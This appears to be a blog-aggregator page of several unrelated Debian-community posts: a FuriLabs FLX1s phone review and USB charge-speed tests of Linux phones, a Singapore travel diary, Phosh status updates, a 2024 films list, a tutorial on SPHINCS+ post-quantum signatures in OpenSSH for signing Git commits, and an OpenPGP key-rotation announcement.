5.0V 0.51A 2.5W
5.0V 0.50A 2.5W
5.0V 0.81A 4.0W
5.0V 0.75A 3.7W
5.0V 0.77A 3.7W
5.0V 0.77A 3.9W
5.0V 0.81A 4.0W
5.0V 0.50A 2.5W
Best
4.4V 1.5A 6.7W
4.6V 2.0A 9.2W
8.9V 2.1A 19W
9.1V 2.7A 24W
4.8V 2.3A 11.0W
9.1V 2.6A 24W
Conclusion
The Furilabs support people are friendly and enthusiastic but my customer experience wasn t ideal. It was good that they could quickly respond to my missing order status and the missing SIM caddy (which I still haven t received but believe is in the mail) but it would be better if such things just didn t happen.
The phone is quite user friendly and could be used by a novice.
I paid $US577 for the FLX1s which is $AU863 by today s exchange rates. For comparison I could get a refurbished Pixel 9 Pro Fold for $891 from Kogan (the major Australian mail-order company for technology) or a refurbished Pixel 9 Pro XL for $842. The Pixel 9 series has security support until 2031 which is probably longer than you can expect a phone to be used without being broken. So a phone with a much higher resolution screen that s only one generation behind the latest high end phones and is refurbished will cost less. For a brand new phone a Pixel 8 Pro which has security updates until 2030 costs $874 and a Pixel 9A which has security updates until 2032 costs $861.
Doing what the Furilabs people have done is not a small project. It s a significant amount of work and the prices of their products need to cover that. I m not saying that the prices are bad, just that economies of scale and the large quantity of older stock makes the older Google products quite good value for money. The new Pixel phones of the latest models are unreasonably expensive. The Pixel 10 is selling new from Google for $AU1,149 which I consider a ridiculous price that I would not pay given the market for used phones etc. If I had a choice of $1,149 or a feature phone I d pay $1,149. But the FLX1s for $863 is a much better option for me. If all I had to choose from was a new Pixel 10 or a FLX1s for my parents I d get them the FLX1s.
For a FOSS developer a FLX1s could be a mobile test and development system which could be lent to a relative when their main phone breaks and the replacement is on order. It seems to be fit for use as a commodity phone. Note that I give this review on the assumption that SMS and VoLTE will just work, I haven t tested them yet.
The UI on the FLX1s is functional and easy enough for a new user while allowing an advanced user to do the things they desire. I prefer the Android style and the Plasma Mobile style is closer to Android than Phosh is, but changing it is something I can do later. Generally I think that the differences between UIs matter more when on a desktop environment that could be used for more complex tasks than on a phone which limits what can be done by the size of the screen.
I am comparing the FLX1s to Android phones on the basis of what technology is available. But most people who would consider buying this phone will compare it to the PinePhone Pro and the Librem 5 as they have similar uses. The FLX1s beats both those phones handily in terms of battery life and of having everything just work. But it has the most non free software of the three and the people who want the $2000 Librem 5 that s entirely made in the US won t want the FLX1s.
This isn t the destination for Debian based phones, but it s a good step on the way to it and I don t think I ll regret this purchase.
One of the problems I encountered with the PinePhone Pro (PPP) when I tried using it as a daily driver [1] was the charge speed, both slow charging and a bad ratio of charge speed to discharge speed. I also tried using a One Plus 6 (OP6) which had a better charge speed and battery life but I never got VoLTE to work [2] and VoLTE is a requirement for use in Australia and an increasing number of other countries. In my tests with the Librem 5 from Purism I had similar issues with charge speed [3].
What I want to do is get an acceptable ratio of charge time to use time for a free software phone. I don t necessarily object to a phone that can t last an 8 hour day on a charge, but I can t use a phone that needs to be on charge for 4 hours during the day. For this part I m testing the charge speed and will test the discharge speed when I have solved some issues with excessive CPU use.
I tested with a cheap USB power monitoring device that is inline between the power cable and the phone. The device has no method of export so I just watched it and when the numbers fluctuated I tried to estimate the average. I only give the results to two significant digits which is about all the accuracy that is available, as I copied the numbers separately the V*A might not exactly equal the W. I idly considered rounding off Voltages to the nearest Volt and current to the half amp but the way the PC USB ports have voltage drop at higher currents is interesting.
This post should be useful for people who want to try out FOSS phones but don t want to buy the range of phones and chargers that I have bought.
Phones Tested
I have seen claims about improvements with charging speed on the Librem 5 with recent updates so I decided to compare a number of phones running Debian/Trixie as well as some Android phones. I m comparing an old Samsung phone (which I tried running Droidian on but is now on Android) and a couple of Pixel phones with the three phones that I currently have running Debian for charging.
Chargers Tested
HP Z640
The Librem 5 had problems with charging on a port on the HP ML110 Gen9 I was using as a workstation. I have sold the ML110 and can t repeat that exact test but I tested on the HP z640 that I use now. The z640 is a much better workstation (quieter and better support for audio and other desktop features) and is also sold as a workstation.
The z640 documentation says that of the front USB ports the top one can do fast charge (up to 1.5A) with USB Battery Charging Specification 1.2 . The only phone that would draw 1.5A on that port was the Librem 5 but the computer would only supply 4.4V at that current which is poor. For every phone I tested the bottom port on the front (which apparently doesn t have USB-BC or USB-PD) charged at least as fast as the top port and every phone other than the OP6 charged faster on the bottom port. The Librem 5 also had the fastest charge rate on the bottom port. So the rumours about the Librem 5 being updated to address the charge speed on PC ports seem to be correct.
The Wikipedia page about USB Hardware says that the only way to get more than 1.5A from a USB port while operating within specifications is via USB-PD so as USB 3.0 ports the bottom 3 ports should be limited to 5V at 0.9A for 4.5W. The Librem 5 takes 2.0A and the voltage drops to 4.6V so that gives 9.2W. This shows that the z640 doesn t correctly limit power output and the Librem 5 will also take considerably more power than the specs allow. It would be really interesting to get a powerful PSU and see how much power a Librem 5 will take without negotiating USB-PD and it would also be interesting to see what happens when you short circuit a USB port in a HP z640. But I recommend not doing such tests on hardware you plan to keep using!
Of the phones I tested the only one that was within specifications on the bottom port of the z640 was the OP6. I think that is more about it just charging slowly in every test than conforming to specs.
Monitor
The next test target is my 5120*2160 Kogan monitor with a USB-C port [4]. This worked quite well and apart from being a few percent slower on the PPP it outperformed the PC ports for every device due to using USB-PD (the only way to get more than 5V) and due to just having a more powerful PSU that doesn t have a voltage drop when more than 1A is drawn.
Ali Charger
The Ali Charger is a device that I bought from AliExpress is a 240W GaN charger supporting multiple USB-PD devices. I tested with the top USB-C port that can supply 100W to laptops.
The Librem 5 has charging going off repeatedly on the Ali charger and doesn t charge properly. It s also the only charger for which the Librem 5 requests a higher voltage than 5V, so it seems that the Librem 5 has some issues with USB-PD. It would be interesting to know why this problem happens, but I expect that a USB signal debugger is needed to find that out. On AliExpress USB 2.0 sniffers go for about $50 each and with a quick search I couldn t see a USB 3.x or USB-C sniffer. So I m not going to spend my own money on a sniffer, but if anyone in Melbourne Australia owns a sniffer and wants to visit me and try it out then let me know. I ll also bring it to Everything Open 2026.
Generally the Ali charger was about the best charger from my collection apart from the case of the Librem 5.
Dell Dock
I got a number of free Dell WD15 (aka K17A) USB-C powered docks as they are obsolete. They have VGA ports among other connections and for the HDMI and DisplayPort ports it doesn t support resolutions higher than FullHD if both ports are in use or 4K if a single port is in use. The resolutions aren t directly relevant to the charging but it does indicate the age of the design.
The Dell dock seems to not support any voltages other than 5V for phones and 19V (20V requested) for laptops. Certainly not the 9V requested by the Pixel 7 Pro and Pixel 8 phones. I wonder if not supporting most fast charging speeds for phones was part of the reason why other people didn t want those docks and I got some for free. I hope that the newer Dell docks support 9V, a phone running Samsung Dex will display 4K output on a Dell dock and can productively use a keyboard and mouse. Getting equivalent functionality to Dex working properly on Debian phones is something I m interested in.
Battery
The Battery I tested with is a Chinese battery for charging phones and laptops, it s allegedly capable of 67W USB-PD supply but so far all I ve seen it supply is 20V 2.5A for my laptop. I bought the 67W battery just in case I need it for other laptops in future, the Thinkpad X1 Carbon I m using now will charge from a 30W battery.
There seems to be an overall trend of the most shonky devices giving the best charging speeds. Dell and HP make quality gear although my tests show that some HP ports exceed specs. Kogan doesn t make monitors, they just put their brand on something cheap. Buying one of the cheapest chargers from AliExpress and one of the cheaper batteries from China I don t expect the highest quality and I am slightly relieved to have done enough tests with both of those that a fire now seems extremely unlikely. But it seems that the battery is one of the fastest charging devices I own and with the exception of the Librem 5 (which charges slowly on all ports and unreliably on several ports) the Ali charger is also one of the fastest ones. The Kogan monitor isn t far behind.
Conclusion
Voltage and Age
The Samsung Galaxy Note 9 was released in 2018 as was the OP6. The PPP was first released in 2022 and the Librem 5 was first released in 2020, but I think they are both at a similar technology level to the Note 9 and OP6 as the companies that specialise in phones have a pipeline for bringing new features to market.
The Pixel phones are newer and support USB-PD voltage selection while the other phones either don t support USB-PD or support it but only want 5V. Apart from the Librem 5 which wants a higher voltage but runs it at a low current and repeatedly disconnects.
Idle Power
One of the major problems I had in the past which prevented me from using a Debian phone as my daily driver is the ratio of idle power use to charging power. Now that the phones seem to charge faster if I can get the idle power use under control then it will be usable.
Currently the Librem 5 running Trixie is using 6% CPU time (24% of a core) while idle and the screen is off (but Caffeine mode is enabled so no deep sleep). On the PPP the CPU use varies from about 2% and 20% (12% to 120% of one core), this was mainly plasmashell and kwin_wayland. The OP6 has idle CPU use a bit under 1% CPU time which means a bit under 8% of one core.
The Librem 5 and PPP seem to have configuration issues with KDE Mobile and Pipewire that result in needless CPU use. With those issues addressed I might be able to make a Librem 5 or PPP a usable phone if I have a battery to charge it.
The OP6 is an interesting point of comparison as a Debian phone but is not a viable option as a daily driver due to problems with VoLTE and also some instability it sometimes crashes or drops off Wifi.
The Librem 5 charges at 9.2W from a a PC that doesn t obey specs and 10W from a battery. That s a reasonable charge rate and the fact that it can request 12V (unsuccessfully) opens the possibility to potential higher charge rates in future. That could allow a reasonable ratio of charge time to use time.
The PPP has lower charging speeds then the Librem 5 but works more consistently as there was no charger I found that wouldn t work well with it. This is useful for the common case of charging from a random device in the office. But the fact that the Librem 5 takes 10W from the battery while the PPP only takes 6.3W would be an issue if using the phone while charging.
Now I know the charge rates for different scenarios I can work on getting the phones to use significantly less power than that on average.
Specifics for a Usable Phone
The 57W battery or something equivalent is something I think I will always need to have around when using a PPP or Librem 5 as a daily driver.
The ability to charge fast while at a desk is also an important criteria. The charge speed of my home PC is good in that regard and the charge speed of my monitor is even better. Getting something equivalent at a desktop of an office I work in is a possibility.
Improving the Debian distribution for phones is necessary. That s something I plan to work on although the code is complex and in many cases I ll have to just file upstream bug reports.
I have also ordered a FuriLabs FLX1s [5] which I believe will be better in some ways. I will blog about it when it arrives.
In December 2024, I went on a trip through four countries - Singapore, Malaysia, Brunei, and Vietnam - with my friend Badri. This post covers our experiences in Singapore.
I took an IndiGo flight from Delhi to Singapore, with a layover in Chennai. At the Chennai airport, I was joined by Badri. We had an early morning flight from Chennai that would land in Singapore in the afternoon. Within 48 hours of our scheduled arrival in Singapore, we submitted an arrival card online. At immigration, we simply needed to scan our passports at the gates, which opened automatically to let us through, and then give our address to an official nearby. The process was quick and smooth, but it unfortunately meant that we didn t get our passports stamped by Singapore.
Before I left the airport, I wanted to visit the nature-themed park with a fountain I saw in pictures online. It is called Jewel Changi, and it took quite some walking to get there. After reaching the park, we saw a fountain that could be seen from all the levels. We roamed around for a couple of hours, then proceeded to the airport metro station to get to our hotel.
A shot of Jewel Changi. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
There were four ATMs on the way to the metro station, but none of them provided us with any cash. This was the first country (outside India, of course!) where my card didn t work at ATMs.
To use the metro, one can tap the EZ-Link card or bank cards at the AFC gates to get in. You cannot buy tickets using cash. Before boarding the metro, I used my credit card to get Badri an EZ-Link card from a vending machine. It was 10 Singapore dollars ( 630) - 5 for the card, and 5 for the balance. I had planned to use my Visa credit card to pay for my own fare. I was relieved to see that my card worked, and I passed through the AFC gates.
We had booked our stay at a hostel named Campbell s Inn, which was the cheapest we could find in Singapore. It was 1500 per night for dorm beds. The hostel was located in Little India. While Little India has an eponymous metro station, the one closest to our hostel was Rochor.
On the way to the hostel, we found out that our booking had been canceled.
We had booked from the Hostelworld website, opting to pay the deposit in advance and to pay the balance amount in person upon reaching. However, Hostelworld still tried to charge Badri s card again before our arrival. When the unauthorized charge failed, they sent an automatic message saying we tried to charge and to contact them soon to avoid cancellation, which we couldn t do as we were in the plane.
Despite this, we went to the hostel to check the status of our booking.
The trip from the airport to Rochor required a couple of transfers. It was 2 Singapore dollars (approx. 130) and took approximately an hour.
Upon reaching the hostel, we were informed that our booking had indeed been canceled, and were not given any reason for the cancelation. Furthermore, no beds were available at the hostel for us to book on the spot.
We decided to roam around and look for accommodation at other hostels in the area. Soon, we found a hostel by the name of Snooze Inn, which had two beds available. It was 36 Singapore dollars per person (around 2300) for a dormitory bed. Snooze Inn advertised supporting RuPay cards and UPI. Some other places in that area did the same. We paid using my card. We checked in and slept for a couple of hours after taking a shower.
By the time we woke up, it was dark. We met Praveen s friend Sabeel to get my FLX1 phone. We also went to Mustafa Center nearby to exchange Indian rupees for Singapore dollars. Mustafa Center also had a shopping center with shops selling electronic items and souvenirs, among other things. When we were dropping off Sabeel at a bus stop, we discovered that the bus stops in Singapore had a digital board mentioning the bus routes for the stop and the number of minutes each bus was going to take.
In addition to an organized bus system, Singapore had good pedestrian infrastructure. There were traffic lights and zebra crossings for pedestrians to cross the roads. Unlike in Indian cities, rules were being followed. Cars would stop for pedestrians at unmanaged zebra crossings; pedestrians would in turn wait for their crossing signal to turn green before attempting to walk across. Therefore, walking in Singapore was easy.
Traffic rules were taken so seriously in Singapore I (as a pedestrian) was afraid of unintentionally breaking them, which could get me in trouble, as breaking rules is dealt with heavy fines in the country. For example, crossing roads without using a marked crossing (while being within 50 meters of it) - also known as jaywalking - is an offence in Singapore.
Moreover, the streets were litter-free, and cleanliness seemed like an obsession.
After exploring Mustafa Center, we went to a nearby 7-Eleven to top up Badri s EZ-Link card. He gave 20 Singapore dollars for the recharge, which credited the card by 19.40 Singapore dollars (0.6 dollars being the recharge fee).
When I was planning this trip, I discovered that the World Chess Championship match was being held in Singapore. I seized the opportunity and bought a ticket in advance. The next day - the 5th of December - I went to watch the 9th game between Gukesh Dommaraju of India and Ding Liren of China. The venue was a hotel on Sentosa Island, and the ticket was 70 Singapore dollars, which was around 4000 at the time.
We checked out from our hostel in the morning, as we were planning to stay with Badri s aunt that night. We had breakfast at a place in Little India. Then we took a couple of buses, followed by a walk to Sentosa Island. Paying the fare for the buses was similar to the metro - I tapped my credit card in the bus, while Badri tapped his EZ-Link card. We also had to tap it while getting off.
If you are tapping your credit card to use public transport in Singapore, keep in mind that the total amount of all the trips taken on a day is deducted at the end. This makes it hard to determine the cost of individual trips. For example, I could take a bus and get off after tapping my card, but I would have no way to determine how much this journey cost.
When you tap in, the maximum fare amount gets deducted. When you tap out, the balance amount gets refunded (if it s a shorter journey than the maximum fare one). So, there is incentive for passengers not to get off without tapping out. Going by your card statement, it looks like all that happens virtually, and only one statement comes in at the end. Maybe this combining only happens for international cards.
We got off the bus a kilometer away from Sentosa Island and walked the rest of the way. We went on the Sentosa Boardwalk, which is itself a tourist attraction. I was using Organic Maps to navigate to the hotel Resorts World Sentosa, but Organic Maps route led us through an amusement park. I tried asking the locals (people working in shops) for directions, but it was a Chinese-speaking region, and they didn t understand English. Fortunately, we managed to find a local who helped us with the directions.
A shot of Sentosa Boardwalk. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Following the directions, we somehow ended up having to walk on a road which did not have pedestrian paths. Singapore is a country with strict laws, so we did not want to walk on that road. Avoiding that road led us to the Michael Hotel. There was a person standing at the entrance, and I asked him for directions to Resorts World Sentosa. The person told me that the bus (which was standing at the entrance) would drop me there! The bus was a free service for getting to Resorts World Sentosa. Here I parted ways with Badri, who went to his aunt s place.
I got to the Resorts Sentosa and showed my ticket to get in. There were two zones inside - the first was a room with a glass wall separating the audience and the players. This was the room to watch the game physically, and resembled a zoo or an aquarium. :) The room was also a silent room, which means talking or making noise was prohibited. Audiences were only allowed to have mobile phones for the first 30 minutes of the game - since I arrived late, I could not bring my phone inside that room.
The other zone was outside this room. It had a big TV on which the game was being broadcast along with commentary by David Howell and Jovanka Houska - the official FIDE commentators for the event. If you don t already know, FIDE is the authoritative international chess body.
I spent most of the time outside that silent room, giving me an opportunity to socialize. A lot of people were from Singapore. I saw there were many Indians there as well. Moreover, I had a good time with Vasudevan, a journalist from Tamil Nadu who was covering the match. He also asked questions to Gukesh during the post-match conference. His questions were in Tamil to lift Gukesh s spirits, as Gukesh is a Tamil speaker.
Tea and coffee were free for the audience. I also bought a T-shirt from their stall as a souvenir.
After the game, I took a shuttle bus from Resorts World Sentosa to a metro station, then travelled to Pasir Ris by metro, where Badri was staying with his aunt. I thought of getting something to eat, but could not find any caf s or restaurants while I was walking from the Pasir Ris metro station to my destination, and was positively starving when I got there.
Badri s aunt s place was an apartment in a gated community. On the gate was a security guard who asked me the address of the apartment. Upon entering, there were many buildings. To enter the building, you need to dial the number of the apartment you want to go to and speak to them. I had seen that in the TV show Seinfeld, where Jerry s friends used to dial Jerry to get into his building.
I was afraid they might not have anything to eat because I told them I was planning to get something on the way. This was fortunately not the case, and I was relieved to not have to sleep with an empty stomach.
Badri s uncle gave us an idea of how safe Singapore is. He said that even if you forget your laptop in a public space, you can go back the next day to find it right there in the same spot. I also learned that owning cars was discouraged in Singapore - the government imposes a high registration fee on them, while also making public transport easy to use and affordable. I also found out that 7-Eleven was not that popular among residents in Singapore, unlike in Malaysia or Thailand.
The next day was our third and final day in Singapore. We had a bus in the evening to Johor Bahru in Malaysia. We got up early, had breakfast, and checked out from Badri s aunt s home. A store by the name of Cat Socrates was our first stop for the day, as Badri wanted to buy some stationery. The plan was to take the metro, followed by the bus. So we got to Pasir Ris metro station. Next to the metro station was a mall. In the mall, Badri found an ATM where our cards worked, and we got some Singapore dollars.
It was noon when we reached the stationery shop mentioned above. We had to walk a kilometer from the place where the bus dropped us. It was a hot, sunny day in Singapore, so walking was not comfortable. We had to go through residential areas in Singapore. We saw some non-touristy parts of Singapore.
After we were done with the stationery shop, we went to a hawker center to get lunch. Hawker centers are unique to Singapore. They have a lot of shops that sell local food at cheap prices. It is similar to a food court. However, unlike the food courts in malls, hawker centers are open-air and can get quite hot.
This is the hawker center we went to. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
To have something, you just need to buy it from one of the shops and find a table. After you are done, you need to put your tray in the tray-collecting spots. I had a kaya toast with chai, since there weren t many vegetarian options. I also bought a persimmon from a nearby fruit vendor. On the other hand, Badri sampled some local non-vegetarian dishes.
Table littering at the hawker center was prohibited by law. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Next, we took a metro to Raffles Place, as we wanted to visit Merlion, the icon of Singapore. It is a statue having the head of a lion and the body of a fish. While getting through the AFC gates, my card was declined. Therefore, I had to buy an EZ-Link card, which I had been avoiding because the card itself costs 5 Singapore dollars.
From the Raffles Place metro station, we walked to Merlion. The place also gave a nice view of Marina Bay Sands. It was filled with tourists clicking pictures, and we also did the same.
Merlion from behind, giving a good view of Marina Bay Sands. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
After this, we went to the bus stop to catch our bus to the border city of Johor Bahru, Malaysia. The bus was more than an hour late, and we worried that we had missed the bus. I asked an Indian woman at the stop who also planned to take the same bus, and she told us that the bus was late. Finally, our bus arrived, and we set off for Johor Bahru.
Before I finish, let me give you an idea of my expenditure. Singapore is an expensive country, and I realized that expenses could go up pretty quickly. Overall, my stay in Singapore for 3 days and 2 nights was approx. 5500 rupees. That too, when we stayed one night at Badri s aunt s place (so we didn t have to pay for accomodation for one of the nights) and didn t have to pay for a couple of meals. This amount doesn t include the ticket for the chess game, but includes the costs of getting there. If you are in Singapore, it is likely you will pay a visit to Sentosa Island anyway.
Stay tuned for our experiences in Malaysia!
Credits: Thanks to Dione, Sahil, Badri and Contrapunctus for reviewing the draft. Thanks to Bhe for spotting a duplicate sentence.
Another short status update of what happened on my side last
month. Phosh 0.48.0 is out with nice improvements, phosh.mobi e.V. is
alive, helped a bit to get cellbroadcastd
out, osk bugfixes and some more:
See below for details on the above and more:
phosh
Fix crash triggered by our mpris player refactor (MR)
Another short status update of what happened on my side last
month. One larger blocks are the Phosh 0.45 release, also reviews
took a considerable amount of time. From the fun side debugging bananui and coming up with a fix in
phoc as well as setting up a small GSM network using osmocom to test more Cell Broadcast thingies were likely the most fun parts.
phosh
Here are my favourite books and movies that I read and watched throughout 2024.
It wasn't quite the stellar year for books as previous years: few of those books that make you want to recommend and/or buy them for all your friends. In subconscious compensation, perhaps, I reread a few classics (e.g. True Grit, Solaris), and I'm almost finished my second read of War and Peace.
Seen at a 2023 festival.
Disappointments this year included Blitz (Steve McQueen), Love Lies Bleeding (Rose Glass), The Room Next Door (Pedro Almod var) and Emilia P rez (Jacques Audiard), whilst the worst new film this year was likely The Substance (Coralie Fargeat), followed by Megalopolis (Francis Ford Coppola), Unfrosted (Jerry Seinfeld) and Joker: Folie Deux (Todd Phillips).
Older releases
ie. Films released before 2023, and not including rewatches from previous years.
Distinctly unenjoyable watches included The Island of Dr. Moreau (John Frankenheimer, 1996), Southland Tales (Richard Kelly, 2006), Any Given Sunday (Oliver Stone, 1999) & The Hairdresser s Husband (Patrice Leconte, 19990).
On the other hand, unforgettable cinema experiences this year included big-screen rewatches of Solaris (Andrei Tarkovsky, 1972), Blade Runner (Ridley Scott, 1982), Apocalypse Now (Francis Ford Coppola, 1979) and Die Hard (John McTiernan, 1988).
Are you aware that Git commits and tags may be signed using OpenSSH? Git signatures may be used to improve integrity and authentication of our software supply-chain. Popular signature algorithms include Ed25519, ECDSA and RSA. Did you consider that these algorithms may not be safe if someone builds a post-quantum computer?
As you may recall, I have earlier blogged about the efficient post-quantum key agreement mechanism called Streamlined NTRU Prime and its use in SSH and I have attempted to promote the conservatively designed Classic McEliece in a similar way, although it remains to be adopted.
What post-quantum signature algorithms are available? There is an effort by NIST to standardize post-quantum algorithms, and they have a category for signature algorithms. According to wikipedia, after round three the selected algorithms are CRYSTALS-Dilithium, FALCON and SPHINCS+. Of these, SPHINCS+ appears to be a conservative choice suitable for long-term digital signatures. Can we get this to work?
Recall that Git uses the ssh-keygen tool from OpenSSH to perform signing and verification. To refresh your memory, let s study the commands that Git uses under the hood for Ed25519. First generate a Ed25519 private key:
jas@kaka:~$ ssh-keygen -t ed25519 -f my_ed25519_key -P ""
Generating public/private ed25519 key pair.
Your identification has been saved in my_ed25519_key
Your public key has been saved in my_ed25519_key.pub
The key fingerprint is:
SHA256:fDa5+jmC2+/aiLhWeWA3IV8Wj6yMNTSuRzqUZlIGlXQ jas@kaka
The key's randomart image is:
+--[ED25519 256]--+
.+=.E ..
oo=.ooo
. =o=+o .
=oO+o .
.=+S.=
oo.o o
. o .
...o.+..
.o.o.=**.
+----[SHA256]-----+
jas@kaka:~$ cat my_ed25519_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAWP/aZ8hzN0WNRMSpjzbgW1tJXNd2v6/dnbKaQt7iIBQAAAJCeDotOng6L
TgAAAAtzc2gtZWQyNTUxOQAAACAWP/aZ8hzN0WNRMSpjzbgW1tJXNd2v6/dnbKaQt7iIBQ
AAAEBFRvzgcD3YItl9AMmVK4xDKj8NTg4h2Sluj0/x7aSPlhY/9pnyHM3RY1ExKmPNuBbW
0lc13a/r92dsppC3uIgFAAAACGphc0BrYWthAQIDBAU=
-----END OPENSSH PRIVATE KEY-----
jas@kaka:~$ cat my_ed25519_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBY/9pnyHM3RY1ExKmPNuBbW0lc13a/r92dsppC3uIgF jas@kaka
jas@kaka:~$
jas@kaka:~$ cat msg ssh-keygen -Y verify -f allowed-signers -I my.name@example.org -n my-namespace -s msg.sig
Good "my-namespace" signature for my.name@example.org with ED25519 key SHA256:fDa5+jmC2+/aiLhWeWA3IV8Wj6yMNTSuRzqUZlIGlXQ
jas@kaka:~$
I have implemented support for SPHINCS+ in OpenSSH. This is early work, but I wanted to announce it to get discussion of some of the details going and to make people aware of it.
What would a better way to demonstrate SPHINCS+ support in OpenSSH than by validating the Git commit that implements it using itself?
Here is how to proceed, first get a suitable development environment up and running. I m using a Debian container launched in a protected environment using podman.
jas@kaka:~$ podman run -it --rm debian:stable
Then install the necessary build dependencies for OpenSSH.
Now clone my OpenSSH branch with the SPHINCS+ implentation and build it. You may browse the commit on GitHub first if you are curious.
# cd
# git clone https://github.com/jas4711/openssh-portable.git -b sphincsp
# cd openssh-portable
# autoreconf -fvi
# ./configure
# make
Configure a Git allowed signers list with my SPHINCS+ public key (make sure to keep the public key on one line with the whitespace being one ASCII SPC character):
Then verify the commit using the newly built ssh-keygen binary:
# PATH=$PWD:$PATH
# git log -1 --show-signature
commit ce0b590071e2dc845373734655192241a4ace94b (HEAD -> sphincsp, origin/sphincsp)
Good "git" signature for simon@josefsson.org with SPHINCSPLUS key SHA256:rkAa0fX0lQf/7V7QmuJHSI44L/PAPPsdWpis4nML7EQ
Author: Simon Josefsson <simon@josefsson.org>
Date: Tue Dec 3 18:44:25 2024 +0100
Add SPHINCS+.
# git verify-commit ce0b590071e2dc845373734655192241a4ace94b
Good "git" signature for simon@josefsson.org with SPHINCSPLUS key SHA256:rkAa0fX0lQf/7V7QmuJHSI44L/PAPPsdWpis4nML7EQ
#
Yay!
So what are some considerations?
SPHINCS+ comes in many different variants. First it comes with three security levels approximately matching 128/192/256 bit symmetric key strengths. Second choice is between the SHA2-256, SHAKE256 (SHA-3) and Haraka hash algorithms. Final choice is between a robust and a simple variant with different security and performance characteristics. To get going, I picked the sphincss256sha256robust SPHINCS+ implementation from SUPERCOP 20241022. There is a good size comparison table in the sphincsplus implementation, if you want to consider alternative variants.
SPHINCS+ public-keys are really small, as you can see in the allowed signers file. This is really good because they are handled by humans and often by cut n paste.
What about private keys? They are slightly longer than Ed25519 private keys but shorter than typical RSA private keys.
# ssh-keygen -t sphincsplus -f my_sphincsplus_key -P ""
Generating public/private sphincsplus key pair.
Your identification has been saved in my_sphincsplus_key
Your public key has been saved in my_sphincsplus_key.pub
The key fingerprint is:
SHA256:4rNfXdmLo/ySQiWYzsBhZIvgLu9sQQz7upG8clKziBg root@ad600ff56253
The key's randomart image is:
+[SPHINCSPLUS 256-+
. .o
o . oo.
= .o.. o
o o o o . . o
.+ = S o o .
Eo= . + . . .. .
=*.+ o . . oo .
B+= o o.o. .
o*o ... .oo.
+----[SHA256]-----+
# cat my_sphincsplus_key.pub
ssh-sphincsplus@openssh.com AAAAG3NzaC1zcGhpbmNzcGx1c0BvcGVuc3NoLmNvbQAAAEAltAX1VhZ8pdW9FgC+NdM6QfLxVXVaf1v2yW4v+tk2Oj5lxmVgZftfT37GOMOlK9iBm9SQHZZVYZddkEJ9F1D7 root@ad600ff56253
# cat my_sphincsplus_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAYwAAABtzc2gtc3
BoaW5jc3BsdXNAb3BlbnNzaC5jb20AAABAJbQF9VYWfKXVvRYAvjXTOkHy8VV1Wn9b9slu
L/rZNjo+ZcZlYGX7X09+xjjDpSvYgZvUkB2WVWGXXZBCfRdQ+wAAAQidiIwanYiMGgAAAB
tzc2gtc3BoaW5jc3BsdXNAb3BlbnNzaC5jb20AAABAJbQF9VYWfKXVvRYAvjXTOkHy8VV1
Wn9b9sluL/rZNjo+ZcZlYGX7X09+xjjDpSvYgZvUkB2WVWGXXZBCfRdQ+wAAAIAbwBxEhA
NYzITN6VeCMqUyvw/59JM+WOLXBlRbu3R8qS7ljc4qFVWUtmhy8B3t9e4jrhdO6w0n5I4l
mnLnBi2hJbQF9VYWfKXVvRYAvjXTOkHy8VV1Wn9b9sluL/rZNjo+ZcZlYGX7X09+xjjDpS
vYgZvUkB2WVWGXXZBCfRdQ+wAAABFyb290QGFkNjAwZmY1NjI1MwECAwQ=
-----END OPENSSH PRIVATE KEY-----
#
Signature size? Now here is the challenge, for this variant the size is around 29kb or close to 600 lines of base64 data:
What about performance? Verification is really fast:
# time git verify-commit ce0b590071e2dc845373734655192241a4ace94b
Good "git" signature for simon@josefsson.org with SPHINCSPLUS key SHA256:rkAa0fX0lQf/7V7QmuJHSI44L/PAPPsdWpis4nML7EQ
real 0m0.010s
user 0m0.005s
sys 0m0.005s
#
On this machine, verifying an Ed25519 signature is a couple of times slower, and needs around 0.07 seconds.
Signing is slower, it takes a bit over 2 seconds on my laptop.
# echo "Hello world!" > msg
# time ssh-keygen -Y sign -f my_sphincsplus_key -n my-namespace msg
Signing file msg
Write signature to msg.sig
real 0m2.226s
user 0m2.226s
sys 0m0.000s
# echo 'my.name@example.org ssh-sphincsplus@openssh.com AAAAG3NzaC1zcGhpbmNzcGx1c0BvcGVuc3NoLmNvbQAAAEAltAX1VhZ8pdW9FgC+NdM6QfLxVXVaf1v2yW4v+tk2Oj5lxmVgZftfT37GOMOlK9iBm9SQHZZVYZddkEJ9F1D7' > allowed-signers
# cat msg ssh-keygen -Y verify -f allowed-signers -I my.name@example.org -n my-namespace -s msg.sig
Good "my-namespace" signature for my.name@example.org with SPHINCSPLUS key SHA256:4rNfXdmLo/ySQiWYzsBhZIvgLu9sQQz7upG8clKziBg
#
Welcome to our new world of Post-Quantum safe digital signatures of Git commits, and Happy Hacking!
This is a short announcement to say that I have changed my main
OpenPGP key. A signed statement is available with the
cryptographic details but, in short, the reason is that I stopped
using my old YubiKey NEO that I have worn on my keyring since
2015.
I now have a YubiKey 5 which supports ED25519 which features much
shorter keys and faster decryption. It allowed me to move all my
secret subkeys on the key (including encryption keys) while retaining
reasonable performance.
I have written extensive documentation on how to do that OpenPGP key
rotation and also YubiKey OpenPGP operations.
Warning on storing encryption keys on a YubiKey
People wishing to move their private encryption keys to such a
security token should be very careful as there are special
precautions to take for disaster recovery.
I am toying with the idea of writing an article specifically about
disaster recovery for secrets and backups, dealing specifically with
cases of death or disabilities.
Autocrypt changes
One nice change is the impact on Autocrypt headers, which are
considerably shorter.
Before, the header didn't even fit on a single line in an email, it
overflowed to five lines:
Note that I have implemented my own kind of ridiculous Autocrypt
support for the NotmuchEmacs email client I use, see this
elisp code. To import keys, I pipe the message into this
script which is basically just:
sq autocrypt decode gpg --import
... thanks to Sequoia best-of-class Autocrypt support.
Note on OpenPGP usage
While some have claimed OpenPGP's death, I believe those are
overstated. Maybe it's just me, but I still use OpenPGP for my
password management, to authenticate users and messages, and it's the
